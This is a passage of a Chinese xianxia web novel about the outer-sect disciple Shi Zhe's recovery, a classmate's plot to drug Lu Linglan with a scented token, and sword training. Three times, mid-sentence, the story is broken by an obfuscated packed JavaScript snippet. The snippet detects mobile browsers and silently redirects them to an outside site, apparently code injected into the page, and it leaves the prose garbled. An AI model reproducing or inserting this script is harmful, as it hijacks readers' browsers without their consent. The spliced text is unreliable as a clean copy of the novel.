气，外界身体的伤势在灵气的滋养下极其缓慢地修复着，但失血过多和过度透支带来的虚弱感如同冰冷的潮水，不断试图将他吞噬。 他不知道在鼎内呆了多久，直到感觉外界天色似乎暗了下来，身体的剧痛稍稍缓解，才勉强退出。 他发现自己还躺在狼尸旁边，夜幕正在降临，林中的温度开始急剧下降。必须找个地方躲起来，否则不被野兽吃掉，也会冻死！ 他咬着牙，拖着残破不堪的身体，艰难地爬行，最终找到了一个能够容纳他的狭窄树洞。他几乎是滚了进去，然后用枯叶和树枝勉强堵住洞口。 黑夜冰冷刺骨，石蛰蜷缩着，不断运转着那微薄的灵力，艰难地抵御着深入骨髓的寒意，牙齿冻得咯咯作响。每一次呼吸都带着血沫，意识在清醒与模糊间反复挣扎。 意识迷迷糊糊之间，一道清晰的声音，如同穿透层层迷雾，直接响彻在他的脑海深处——是宗门高手的千里传音！ “青云山玄明长老在此，遇难弟子何在！” 是救援！宗门派人来找他了！ 石蛰心中猛地燃起希望，他挣扎起身，扒开洞口的遮挡，爬了出去，将树叶和枯枝堆在一起后，他伸出手，将体内那丝微弱得可怜的灵气凝聚于指尖—— 一小簇微弱的火苗终于从他指尖跃出，点燃了干枯的树叶！ 橘红色的火焰迅速蔓延开来，烟火上升，空中正御剑找人的师叔立刻察觉。 “在那里！” 恍惚中，有人朝自己奔来，石蛰再难支撑，松懈的身体彻底昏死了过去。 ...... ...... 石蛰再次从昏沉中恢复意识时，首先感受到的是周身沉睡已久后苏醒的钝痛，如同潮水般细细密密地蔓延开来。他艰难地转动脖颈，视线在昏暗的室内逡巡。 屋内只点着一盏小小的油灯，豆大的火苗在灯盏中不安分地轻轻跳跃，轻轻地落在坐在床边的青年脸上。 云磬安静地坐在光里，手里拿着一个小刀，慢条斯理地削着一个苹果，果皮连绵不断地垂落，一丝未断，青年宁静的侧脸优美得好似一幅画。 “云磬？” “这里是哪里？”石蛰看向周围，这不是他的住处。 “这是药庐，你被救回来后已经睡了一天一夜了。” “原来如此。”石蛰声音沙哑干涩，挣扎着想坐起来。 “别动。”云清徽头也没抬，声音清淡却带着不容置疑的力道：“你伤得很重，需要静养。” 石蛰这才后知后觉地感受自己的身体状况，他手脚似乎都断了，被厚厚的绷带和夹板固定得严严实实，稍微一动就钻心地疼。但奇异的是，丹田处却一片温和。 “你被救回来后，有师兄给你喂了丹药。虽说内脏受损不轻，但好在灵府丹田无碍，根基未损，好生修养一阵子便能恢复。” “那就好，对了，其他人了，大家都没事吧？” 听着他关切的语言，云清徽的动作几不可查地顿了顿，放下苹果将他轻轻扶起一些，垫好枕头，让他靠得更舒服点，又将苹果塞到他手上。 “大家都没事。” 11. 如果你死了 石蛰确实缺水，迫不及待地咬了一口苹果，等甘甜的汁水滋润了嗓子，才又问： “知棠和铃兰呢？” “他们刚刚还在，我们轮流看护你，现在轮到我。” 确认大家都无碍后，石蛰专心致志地啃起了苹果，他还未辟谷，急需要糖分和水分为他补充体力。 云清徽静坐在一旁，目光落在石蛰身上，带着不易察觉的审视。 这是一个很奇特的人。 少年正略显狼狈地啃咬着苹果，腮帮因塞满果肉而微微鼓起，像自己小时候养的兔子。鼓起的脸颊上布满了错落的伤口，眉骨处的结痂已呈淡褐色，而另一道更为狰狞的深痕则顺着颧骨蜿蜒而下，直至下颌边缘，被送过来时，血肉鲜红。 这么一个贯穿脸部的伤口，可见当时危机。 然而，就是这样一个刚从鬼门关挣扎回来、浑身带着惨烈印记的人，一旦脱离了致命危险，竟能如此迅速地褪去所有防备，在自己面前变得心无城府，甚至有些懵懂地专注于最简单口腹之欲，毫无戒心地暴露着那份近乎天真的单纯和坦率。 云清徽心中掠过一种微妙的感受。 或许，“天道”的运行轨迹玄奥难测，它选择了这样一个人作为话本的主角，并非毫无缘由。这莽撞又坚韧、伤痕累累却眼神明亮的生命本身，就蕴含着某种难以言喻的、蓬勃的力量。 “你死了......” 石蛰：“啊？” 云清徽改口：“如果哪天你死了，你有什么未了的心愿么？” 石蛰被这突兀的问题问得一怔，下意识地思考了一会儿，才迟疑着回答：“大概……是还没能报答把我养大的杨师傅吧。” 云清徽轻轻“嗯”了一声，没再说话。 “怎么了？为什么突然问这个？”石蛰有些疑惑。 云清徽移开目光，看向窗外，声音依旧没什么起伏：“我看你多灾多难，命运坎坷，说不定哪天就真的没了。作为朋友，提前问清楚，还能帮你完成未了的心愿。” 石蛰仔细想了想，觉得这话很有道理，遂道： “那谢谢你。” “不客气。” “对了，这个苹果也很好吃，谢谢你。” “你应该谢照料果树的师兄。” 就在这时，病房门被猛地推开，陆知棠和陆铃兰风风火火地跑了进来，脸上带着欣喜： “石蛰，你醒了！” 云清徽将位置让开给二人，看了身后一眼，兀自出了门。 那之后，张逸师兄也过来询问他那日的具体情形。石蛰按照想好的说辞，只说是侥幸刺中了朱鬿的翅根，坠落时被树枝缓冲，然后找了一个隐蔽的树洞藏起来，才熬到救援到来，对于对付巨狼的事只字未提。 张逸不疑有他，感慨道：“亏得你命大！” 石蛰只能配合地嘿嘿傻笑两声。 等众人离开后，石蛰再次将意识沉入鼎内。 “前辈！那日来救我的师兄……还有长老，他们没发现什么吧？” 陆通的虚影哼了一声，语气一贯嫌弃：“你都伤成那样了，还能看出什么？” “你当时浑身上下死气最重，灵力波动微弱得几乎可以忽略不计。别说那几个筑基金丹的小辈，就是元婴老怪亲自来查验，也最多夸你一句意志坚韧、命不该绝。” 石蛰这才真正放下心来，长舒了一口气。 同时下了决心：“我还是修为太低了，随便遇上什么都差点死掉，得好好修炼才对！” 陆通睨了他一眼，这小子别的不说，意志着实顽强。 结界被破，青云山很快派出了专门的队伍前去修复，并加强其余结界。 这一日，石蛰正在药庐活动筋骨，忽听得天际传来阵阵破空之声。他连忙跑出去抬头望去，只见十数道璀璨剑光如流星般划过长空，气势惊人，正朝着后山禁地的方向疾驰而去。 他凝目细看，发现御剑而来的修士们大多看上去三、四十岁的模样，气质沉稳，修为深不可测。然而，在这群人中，却有一位格外显眼的年轻人，看上去不过二十出头，面容俊朗，身姿挺拔，御剑姿态从容不迫，甚至隐隐飞行在队伍的前列方位。 “咦？那个人看起来好年轻啊！”石蛰忍不住低声惊叹。 陆通的声音适时在他脑海中响起，带着一贯的见多识广：“哼，傻小子，早跟你说过，修士一旦成功筑基，容颜衰老便会极大延缓，甚至定格。你以为他们看起来三四十，实际年龄可能早已过百。至于那个年轻人……” 陆通顿了顿，语气中也带上了一丝不易察觉的赞许：“能在二十多岁便成功筑基的，无不是天资卓绝、万里挑一之辈。你看他年纪虽轻，却能位列队伍前方，与其他资深修士并肩，想必是门内备受重视、重点培养的新一代核心弟子。” 石蛰闻言，脸上不禁露出艳羡之色，目光紧紧追随着那道年轻却耀眼的身影。 陆通察觉到他的心思，哼笑一声，半是激励半是调侃地道：“怎么，羡慕了？你若能争气些，通过考核进入内门，说不定将来还真有机会成为他的师弟呢。” “师弟？”石蛰惊讶地重复了一声，不解道： “可他看起来那么厉害，我与他如何能成同辈？” “蠢材！”陆通笑骂一声： “门派收徒自有其严格规制，像青云山这般大派，三年一度大开山门广收门徒。但修士寿元悠长，动辄数百年。若按凡间那般论资排辈，只差个十来年就能收徒，岂不是曾师祖、曾曾师祖满地跑，乱成一锅粥了？” “因此，你，早你十几年，晚你十几年入门的，都是你师兄弟。” “当然，师兄弟之间亦有天壤之别。弟子越多，分摊到每个弟子身上的资源就越少。唯有实力出众、天赋异禀者，方能脱颖而出，获得重点栽培，就如同天上那位一样。” 石蛰听得心神激荡，恍然大悟：“原来如此，这么说，那位师兄，必定是实力超群、天赋极高的天才人物了！” 那惊鸿一瞥，不曾磨灭他心中求仙问道渴望半分，反而给他留下满腔的憧憬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396583|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与对强大力量的无限向往。 —— 后山，前去修复结界的一种青云山弟子纷纷从剑上下来，神色凝重地审视着结界破损处。 为首的是一位面容沉稳的中年修士，他蹲下身，指尖泛起灵光，仔细探查着结界断裂的纹路，忽而眉头一皱。 此前被石蛰十分向往的年轻修士上前：“师兄，怎么了？” “晋源师弟，你看——” 那名为晋源的年轻修士伸出手指，将手掌贴合上去，感知结界灵气波动，忽而，他也皱了皱眉。 少许，他收回手掌，道： “此处结界能量并非自然消散，或如从前经年累月被魔兽冲撞而裂，而是被一股极其精纯且极具穿透性的力量，打破了一个点，继而引发了整个结界的连锁崩塌。” 他师兄也点点头。 其余人闻言，俱是脸色一变。 “也就是说，是有人刻意破坏结界？” 晋源脸色凝重地点头： “那人修为必定深不可测，才能避开青云山各处警戒，神不知鬼不觉地潜入后山，破坏结界之后从容遁去。” 此话一出，所有人脸上神色都肃穆起来。 半晌之后，他师兄才收敛心神，重新道：“先不说这个了，先将结界修复。” “是，师兄！” ...... ...... 那之后，石蛰在药庐修养了好几日，每日都有医修过来看望，那些草药都很大补，石蛰连着喝了几日，感觉体内灵气更充盈了，倒也不失因祸得福。 年轻人，心态是真好。 其余同门也在这次凶兽袭击中遭遇了不同级别的创伤，但张逸师兄只让他们休息了两日，又毫不留情地将所有人扔回了冰冷的瀑布之下。 “炼体修元，先炼体再修元！没有强健的体魄作为载体，如何吸纳浩瀚灵气，攀登仙道巅峰！” 张逸的声音在瀑布轰鸣中依旧清晰，带着不容置疑的严厉。 这话听着无可辩驳，众人也只能每日咬牙忍受着这风吹雨打、水冲石砸的苦刑。 这日训练结束，众人如同死狗般从瀑布下爬出来。陆铃兰几乎是立刻软倒在地，连一根手指头都不想动弹。 陆知棠虽然自己也累得够呛，但还是强撑着调侃：“铃兰，你怎么跟没骨头似的，这么弱不禁风。” 陆铃兰有气无力地翻了个白眼，声音都在飘：“我也不想啊……实在是……没力气了……” 她目光一转，看到坐在地上平静喘息的云磬，不由好奇道： “云磬，你不觉得辛苦么？” 云清徽点头，语气淡漠：“辛苦。” 陆铃兰眼睛一亮，像是找到了救星，连忙追问：“那是不是有什么秘诀？怎么能像你这样看起来没那么难受？” 云清徽斩钉截铁地说：“有。” “是什么？” “忍。” “......”当她没问。 一旁石蛰则是若有所思。 12. 套麻袋了 这天训练结束后，大家拖着疲惫不堪的身体回到住处。石蛰看着云清徽径直走向房间的背影，犹豫了一下，还是快步跟了上去，在对方即将进门时，一把将他拉向了旁边的厨房。 云清徽猝不及防被拉住，微微一怔，蹙眉问道：“干什么？” 石蛰从怀里掏出一个小瓷瓶：“你这些日子每日训练很是辛苦，这药膏对缓解肌肉酸痛很有效的，是我之前特意向师兄求来的，我给你抹上吧。” 他说着，就想去拉云清徽的手臂。 云清徽眉头皱得更紧，侧身避开他的手，语气冷淡：“不用。我没事。” “你别客气啊，真的很有用的！”石蛰以为他是不好意思，坚持着又上前一步，伸手想去扯他的衣袖：“大家都是兄弟，互相帮忙应该的……” 云清徽再次甩开他的手，声音里已带上一丝不耐：“说了不用！” 两人拉扯间，石蛰脚下不知被什么绊了一下，惊呼一声，整个人失去平衡，猛地就从身后扑向了云清徽！ 厨房空间狭小，堆放了不少杂物，云清徽根本来不及闪避，被他结结实实地扑得向前踉跄，“砰”地一声撞在了角落大米缸上！ 只听到“撕拉”一声，石蛰为了稳住身形，手下意识乱抓，抓住了云清徽的短衫，他这些日子力气练得很大，竟直接将衣衫扯开了一条大口子，露出了一小片光洁如玉的后背和线条优美流畅的肩胛骨。那肩胛骨上，还残留着被瀑布激流长时间冲击后留下的浅粉色痕迹。 两人都瞬间僵住了。 空气仿佛凝固。 云清徽猛地反应过来，扭头狠狠瞪着石蛰，石蛰都已经傻了，这时才后知后觉地倒退了好几步，手里还傻傻地捏着那片撕下来的布条。 “对、对不起！云磬，我不是故意的！我……” 石蛰看着对方瞬间冷若冰霜的脸和眼中几乎要凝成实质的寒意，吓得连忙道歉，语无伦次。 云清徽一言不发，只是用冰冷至极的目光狠狠剜了石蛰一眼，猛地将撕裂的衣衫拢紧，大步流星地冲出了厨房。 正好陆知棠从外面经过，看到云清徽面覆寒霜、衣冠不整地快步走出，愣了一下，心中疑惑，便探头进厨房想看个究竟。 一进去，他就看到石蛰满脸通红，手里还捏着一截布条，站在原地怔怔发呆。 陆知棠瞬间瞪大了眼睛，脑中闪过无数话本里的桥段，震惊地指着石蛰：“你……你干什么了？！难道你、你对云磬他……” “不，不是的！”石蛰慌不择言。 陆知棠啧啧地摇着头，一副你竟是那样禽兽的表情。 ...... ...... 云清徽冷着脸大步走出厨房，胸口仍因方才的窘迫和恼怒而微微起伏。他不欲回屋，就在外面转悠，却在戒律堂边上的小树林瞥见王鹏正与一名女修站在一块，正说着什么。 那女修他看着有几分眼熟，时常与陆铃兰玩在一处。 云清徽蹙了蹙眉，隐入阴影之中。 王鹏神色倨傲地向着那女修递出了一块不起眼的木牌，低声交代道：“……务必要让陆铃兰戴上，贴身佩戴，知道么？” 那女修抿着唇，脸上满是挣扎与纠结，手指微微颤抖，但在王鹏逼视的目光下，最终还是迟疑地接过了木牌。 两人分开后，女修握着那木牌，神色郁郁地朝着女弟子宿舍方向走去。一阵山风吹过，她下意识地抬头，忽而整个人定在了原地，眼神瞬间变得空洞茫然。 云清徽手指从她额前拿下，取过她手中的木牌，放到鼻尖轻轻一嗅，一股极淡的、若有似无的异样甜腻气味传来。 低级迷幻草…… 云清徽眸光一冷，这种草药的气味虽淡，但若长期贴身佩戴，会潜移默化地让人心神恍惚，尤其在吐纳修炼时，更会导致灵气运转滞涩不畅，长久以往，对修行根基有害无益。 陆铃兰在符修一道展现出了罕见天赋，那位林师姐对她青眼有加，时常单独教导，不出意外，必进内门。而近来也传出青云山要对他们这些外门弟子进行考核，不合格者逐出青云山的消息。 王鹏此时让人送这木牌，其心可诛。 云清徽没有说话，只是将木牌重新塞回那女修手中，指尖微动，下一瞬，就好似一阵清风吹拂而过，衣袂轻摆间，人已悄无声息地消失。 女修眼神恢复清明，茫然地眨了眨眼，随即低头看着手上的木牌，咬着牙走回宿舍。 陆铃兰正和宿舍里其他女修叽叽喳喳地说着今日修炼的趣事。那女修深吸一口气，脸上挤出一个略显僵硬的笑容，走上前去： “铃兰，我有东西送你。” “是什么？”陆铃兰转过身，心无城府地问。 “是，是我自己亲手做的木牌，涂染了香料，可以祛病消灾，我瞧着你这几日修炼辛苦，戴着它，也算讨个吉利。” “真的么？” 陆铃兰闻言，眼睛顿时亮了起来，惊喜地接过木牌，爱不释手地道： “谢谢你，玉瑶！” 她笑得眉眼弯弯，立刻就将木牌挂在了腰间，还宝贝似的拍了拍：“我一定会好好戴着的！” 看着陆铃兰全然信任、毫无防备的开心模样，叫住玉瑶的女修心中像是被针扎了一下，她慌忙低下头。 云清徽回到宿舍时，脸色依旧冰冷。石蛰见他回来，立刻从床上坐起，正要走向云清徽，云清徽已然掀开被子躺了进去。 “......” 少年满脸的欲言又止，最终他还是把话咽了回去，一脸失落地回去自己的床铺。 陆知棠在旁将二人动作看在眼底，修炼这么辛苦，自然是要找些乐趣娱乐的，他上前肘了肘石蛰胸口，小声说：“老实交代，你到底对云磬做了什么？” 石蛰满心委屈，叫冤道：“我真没有啊，你怎么会这么想？” 陆知棠：“谁叫你总是时不时看着云磬。” “那是因为我觉得他好像不会干活，想看看他需不需要帮助。”石蛰眼底一片澄澈。 “刚刚也是，我只是想给他抹药而已。” “抹药？”陆知棠皱眉：“你哪来的药？不对，那你有药，为什么不给我抹？” 陆铃兰是女生就算了，难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396584|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他不是男的么？ 石蛰闻言，支支吾吾了起来，他窥视着陆知棠的脸色，小声地说：“总觉得，给你抹了也没用的样子。” 陆知棠：“......” “你小子，你给我站住！” 石蛰抱头逃窜，在几个床铺间蹦来蹦去，口中喊着：“我只是说实话而已，你不要闹，大晚上了，大家都要休息......” 云清徽被吵得睡不着觉，皱着眉，给自己的床铺设了一个静音咒。 第二日一早，大家按时来到练武场，陆铃兰正和几个女修叽叽喳喳地说这话，腰间果然多了一块眼熟的木牌。 云清徽不动声色地垂下眸。 这一日的课程是基础剑术对练，两人一组，云清徽漫不经心地和一位男弟子对打，目光撇向不远处，陆铃兰正和一个女弟子练剑。 陆铃兰偏科严重，剑术体术都不是她的强项，她耍剑，只能说中规中矩。 “耍的什么剑，手腕无力，下盘虚浮，花拳绣腿，当这是乡下武馆么？！” 被张逸师兄这么一骂，大家不得不使出十二分的力。 和陆铃兰对战女修一剑用力刺向陆铃兰，云清徽若有所思，忽然指尖一弹，一道气劲挥向陆铃兰脚下石子，陆铃兰脚下一滑，惊呼一声，整个人向前倒去。 眼看着就要被刺过来的剑刺伤，她腰间木牌忽地飞起，挡在了剑尖之前！ “啪！” 一声脆响，木牌被木剑击个正着，瞬间碎裂成几块，掉落在地。陆铃兰也摔倒在地，幸而未受伤。 “铃兰！” “铃兰！” 身旁几人慌忙停下，跑向陆铃兰。陆铃兰从地上爬起来，看着地上碎裂的木牌，一阵难过地向玉瑶道歉： “对不起！对不起！把你送我的护身符弄坏了……” 玉瑶看着碎裂的木牌，眼底反而闪过一丝不易察觉的解脱和轻松，连忙摆手：“没事没事，人没事就好！” 云清徽也收剑走来，语气平淡地开口道：“护身之物本就为挡灾而存，它今日护你周全，便是完成了使命，不必难过。” 玉瑶也连忙附和：“就是这个道理，它替你挡了一劫，是好事！” 陆铃兰听两人都这么说，这才破涕为笑。 一旁王鹏脸色阴沉，他死死盯着地上那碎裂的木牌，拳头紧握。 课后，王鹏立刻找了个僻静角落，堵住了正准备离开的玉瑶。 他一把将玉瑶拽到暗处，压低声音厉声道：“那块牌子碎了！你再送陆铃兰一次，必须让陆铃兰重新戴上！” 这一回，玉瑶不知从哪里来的勇气，脸色发白却坚定地摇头：“不，我不会再帮你做这种事了！” “你！” 玉瑶推开王鹏，转身跑远了。 王鹏憋着一肚子火，脸色铁青地往回走，一路上都在盘算着如何报复这个不知好歹的女人，以及再找谁去给陆铃兰下绊子。 就在他经过一处光线昏暗、杂物堆积的僻静回廊时，异变陡生！ 一个麻袋从天而降，瞬间将他从头到脚罩了个严严实实！ 13. 诅咒人偶 “是谁？！” 王鹏惊怒交加，刚喊出声，雨点般的拳脚便隔着麻袋狠狠落了下来！那力道又狠又准，专门往他肉厚的地方招呼，疼得他嗷嗷直叫。 王鹏想用灵气撕碎麻袋，但那麻袋也不知道是用什么做的，他的灵气毫无作用，他连连问“是谁”，回应他的只有一拳拳生铁般的拳头。 也不知道过去了多久，王鹏被打得鼻青脸肿，浑身酸痛，瘫在地上哼哼唧唧。 那人似乎没想下死手，见他没了反抗之力，又飞快地踹了他几脚，这才离开。 王鹏听不到动静，才敢重新挣扎，他好不容易从麻袋里出来，头发凌乱，衣衫不整，脸上身上都是淤青，模样狼狈不堪。他气得浑身发抖，奇耻大辱加上之前的怒火彻底冲昏了他的头脑。 “石蛰！一定是石蛰那个乡巴佬！” 他第一个想到的就是与自己积怨最深的石蛰，认定是他报复自己！ 王鹏怒不可遏，也顾不上整理仪容，一瘸一拐地直接冲向了石蛰所在的宿舍，“砰”地一声踹开门！ 屋内，石蛰正和陆知棠还有另外两个同屋弟子盘坐在通铺上闲聊，王鹏指着石蛰的鼻子，劈头盖脸地怒吼道： “石蛰！是不是你！刚才是不是你暗算老子？！” 石蛰被这突如其来的指控弄得一愣，随即皱起眉头，站起身：“王鹏，你发什么疯？我什么时候暗算你了？” “还敢狡辩！除了你还有谁！”王鹏气得眼睛都红了：“有本事做没本事认吗？！” “你敢说刚刚在走廊打我的不是你？” “刚刚我像张逸师兄请教剑术，然后跟着大家一起回来，一直没有离开过，不信你问大家。” “是啊是啊。”其余人连连点头附和。 “我们向师兄请教后就径直回来，中途没有绕去别的地方，你是不是认错人了？” 王鹏看着眼前几人言之凿凿，不似作假，一腔怒火顿时被噎在了喉咙里，脸色变得更加难看。他目光凶狠地在宿舍里扫视一圈，似乎想找出那个人。 “怎么了？”这时云清徽正好走进，见屋内气氛剑拔弩张，便问了一声，随即，他就看到了王鹏青一块紫一块的脸，不由道： “王鹏，怎么了，你被人打了？” 王鹏恨恨地看着他这个石蛰的同伙，但他心里此刻只想找到暗算他的混账，目光扫了他一眼，很快略过。 不可能是这个小白脸。 “哼，你们给我等着，别让我找出来那个人是谁！” 说罢，他捂着疼痛的胳膊，悻悻然地摔门而去，留下满心莫名其妙的石蛰几人。 顺便一提，这事直到后来，也是不解之谜。 —— 这天练功结束后，云清徽正欲返回宿舍，陆知棠却忽然从后面叫住了他。 “云磬，等一下。”他朝着云清徽招招手道：“你过来，我有点事想跟你说。” 云清徽微微蹙眉，他和陆知棠关系不近不远，比其他人亲近，但要说关系很好，却也不能。 不过他还是跟着陆知棠来到了宿舍后大树后。 “什么事？”云清徽停下脚步，语气平淡地问道。 陆知棠没有回答，只是微微一笑，视线转向粗壮的树干后方。只见一个身影扭扭捏捏地从树后挪了出来，正是石蛰。 云清徽再次蹙眉。 陆知棠一手搭着石蛰肩膀，一手拍了拍云清徽的肩，道：“都是朋友，有什么事，说开了就行。好了，我先走了。” 说罢，潇洒而去。 石蛰鼓足勇气上前，猛地将手上一个东西递向云清徽： “云磬，上次的事，真的对不起！我真的不是故意的，作为道歉，这个送你！” 那是一个用不同色泽草茎精心编织而成的小人偶，约莫巴掌大小，但手艺实在不敢恭维。 歪歪扭扭的脑袋，比例怪异的四肢，尤其眼睛部位，不知用了哪种红色的草叶，嵌得又大又圆，在昏暗的光线下显得格外突出，隐隐有种直勾勾盯着人的渗人感。 云清徽垂眸，盯着石蛰手中这个丑得有些别致的草编物件，沉默了片刻，终究没忍住，开口问道：“这是什么？” 是什么诅咒用的道具么？ 石蛰挠挠头，有些不好意思地说：“这个叫‘平安偶’，是用好几种有安神辟邪效用的药草混合编成的。在我老家那边，大家都说把这种小人带在身边，可以挡病消灾，保平安的。” 他解释道：“这是前两日我看到铃兰的木牌才想起来做的。” 他偷偷观察着云清徽的脸色，小心翼翼地说：“我上回真的不是故意的，你不要生气了好不好？” 云清徽看着那丑丑的草人，又看看石蛰那小心翼翼的眼神，脸上露出嫌弃的表情，但还是勉为其难地将小人接了过来： “行吧。 石蛰顿时喜笑颜开，眼睛都亮了起来：“那我们算是和好了？” 云清徽轻轻“嗯”了一声。 “太好了！” 石蛰心中的大石终于落地，连日来的的愧疚不安瞬间消散，只觉得浑身轻松：“那我今晚终于可以睡个好觉了！” 是夜，石蛰躺在床铺上，心情大好。他和云磬和好，就再也不用承受内心沉甸甸的煎熬，也不用时不时想起他撕扯云磬衣服后透着粉色的后背，恍若蝴蝶微微振翅般的肩胛骨和他回头愤怒地瞪着自己的艳丽双眸...... 啊啊啊啊啊啊！ 石蛰猛地从床铺上弹坐起来，同屋的几人还未睡熟，被他的动静惊动，纷纷投来奇怪的一瞥，见他没有其他奇怪举动，很快又挪开了。 石蛰臊红着脸，缓缓躺下，默默用被子盖住脸，自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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事实上，当初从悬崖绝境中生还后，他曾迟疑地向陆通提议将鸿蒙宝鼎献给门派大能。 当时只换来陆通一个极大的白眼和毫不留情的嗤笑： “蠢货！你以为那些活了上百年的老狐狸是什么善男信女？这等天地至宝，他们一旦得知，第一个念头便是如何将其彻底掌控，榨干它的每一分价值！至于老夫这缕残魂，能苟延残喘就算他们开恩，你还指望他们真心助我修复肉身？天真！” 经此一事，陆通也彻底明白，眼前这个心思纯净的傻小子，或许是这世间唯一一个可能真心帮助他恢复肉身的人。 他需要石蛰，石蛰不会抛弃救命恩人，两相权衡，留在青云山门内，借助宗门资源稳步提升自身，同时暗中帮助陆通恢复，对两人而言是最理想的选择。 不过眼前，还需要渡过考核难关。 危机感促使他下定决心，必须要稍稍展现自身实力，以免被驱逐出青云山。 14. 剑法切磋 这日上午是剑术课，前来授课的是一位他们此前从未见过的师兄。 这位师兄身姿挺拔如松，面容俊朗，眉眼间带着一股锐利之气，他步履沉稳地走到众人面前，声音清朗地开口： “我名秦越，你们唤我秦师兄即可。你们至今已经学了不少剑术，今日，由我来教导你们修真者用剑基础——以气御剑。” 听到此人名字，正垂着眸的云清徽也不由看向台上。 秦越是石蛰进入内门之后的直系师兄，由他传授石蛰剑法，后来石蛰连番奇遇，修为爆涨，惠及身边人，这个秦越就是其中一人。 “剑，乃百兵之首，以气御剑，非是蛮力驱使，而在于心意相通，灵能流转。需以自身灵力为引，感知剑之‘呼吸’，与之共鸣，如臂使指，方能人剑合一。” 说着，他并未伸手去握腰间那柄看起来就非凡品的长剑，只是并指如剑，轻轻一引。 “嗡——” 一声清越的剑鸣响起，他腰间长剑竟自行脱鞘而出，化作一道流光，稳稳地悬停在他掌心之上，剑身微颤，发出低低的嗡鸣，仿佛在回应主人的召唤。 众弟子看得目瞪口呆，惊呼声尚未出口，只见秦越师兄双指凝聚灵力，神色微肃，台下众外门弟子佩戴的剑竟一个个发出铮鸣之音，继而犹如收到召唤，齐齐从剑鞘中飞出，哗然一声，于半空中列成一道森然的剑阵。 数十把铁剑悬空，剑尖寒芒吞吐，气势惊人！ “哇！” “太厉害了！” 惊呼声此起彼伏，所有弟子都被这神乎其技的一幕彻底震撼，眼中充满了向往与狂热。石蛰更是看得心潮澎湃，忍不住在内心狂喊： “太帅了，太帅了！这才是真正的剑修啊！” “哼，华而不实，你们剑修就爱搞些花里胡哨的排场。”陆通在他脑海冷哼一声。 秦越师兄满意地看着众人被震慑的表情，他微微一笑，散去灵力，挥一挥手，空中的铁剑立刻飞回主人身边，哐当一声笔直插入主人跟前一寸地面。 “现在，我教你们如何以气御剑。” 秦越开始详细讲解以气御剑的灵力运转法门和感知技巧，讲解完毕，他便让弟子们自行尝试。 一时间，练武场上呼喝声、铁剑掉落声不绝于耳。大多数弟子连让剑轻微颤动都难以做到，更别提让其离地飞起了。 石蛰屏息凝神，按照秦越师兄所授的方法，努力调动体内那微薄的灵力，尝试去沟通手中的铁剑。 然而铁剑冰冷而沉默，毫无反应，仿佛只是一块顽铁。 石蛰并不气馁，深吸一口气，再次尝试。他更加专注，心神几乎与那缕灵力融为一体，细细感知着剑身的每一寸，试图捕捉那所谓的“呼吸”与“共鸣”。 忽然，铁剑忽然极其轻微地颤抖了一下！ 石蛰心中一喜，连忙稳住心神，加倍催动灵力。 那颤抖变得越来越明显，剑身开始发出低不可闻的“嗡嗡”声，仿佛沉睡的器物被缓缓唤醒。他能感觉到由剑身传来一丝微弱的吸力，正在主动汲取他的灵力！ 石蛰精神大振，全力维持着灵力的输出，只见那铁剑震颤的幅度越来越大，剑尖甚至微微抬离了地面一寸！ 就在这关键时刻，大约是灵力催动过多，一股虚脱感猛地袭来，原本流畅运转的灵力骤然一滞，只这一瞬，铁剑便哐当一下直接横倒在了地上。 石蛰：“......” “哈哈哈哈难看死了！”陆通在脑袋疯狂嘲笑。 “......”再来一次！ 但之后几次，石蛰都没有成功。 “好了好了！”秦越见大家都不成功，一个个开始垂头丧气，担心打击他们自信心，将众人重新唤过来。 “以气御剑的练习到此结束，现在你们开始正常剑法对战，你，你，一组......” 他随手将手指向石蛰，又指了指一旁抱臂而立的云清徽，道：“你们两人一组。” 石蛰：“我们两？” 云清徽看他问的惊讶，挑了挑眉：“看不起我？” “没有没有！” 他拿起剑乖乖地走上前，躬身作揖：“请赐教！” 云清徽也漫不经心地挑起剑，此前石蛰后山脱险，虽然他说自己只是捅伤了朱鬿后逃走，但云清徽总觉得不止如此，这些时日，他能感受到石蛰身上灵气时强时弱，变幻不定，正好借这个机会近距离探查一番。 他举剑，唇角勾起一个浅淡的弧度：“请赐教——” 话音落下，两人几乎同时动了起来。云清徽并未动用灵力，石蛰更是尚未学会将灵气灌注剑身，两人纯以体格力量和基础剑招对战。 “铛！” 双剑交击，发出一声脆响。石蛰一上来就使出了十足的力气，他年纪虽轻，但常年劳作打下的底子极好，肌肉结实，爆发力强。这一剑劈下，震得云清徽手腕微微一麻，竟被这股蛮力逼得向后小退了半步，膝盖下意识地曲了一下以化解力道。 云清徽心中微讶，他们四人中，陆知棠体型最为魁梧，其次便是石蛰。 少年虽然只有十七岁，但个头已只比他略矮一点，肩膀却更为宽阔厚实，以他几次为他疗伤经验来看，制服下的肌肉硬邦邦的，显然是做惯了粗活重活锤炼出来的。 而且以这小子能吃的劲，说不定以后会长得比自己还高还壮，想到这，云清徽不知为何，心头忽然掠过一丝不痛快。 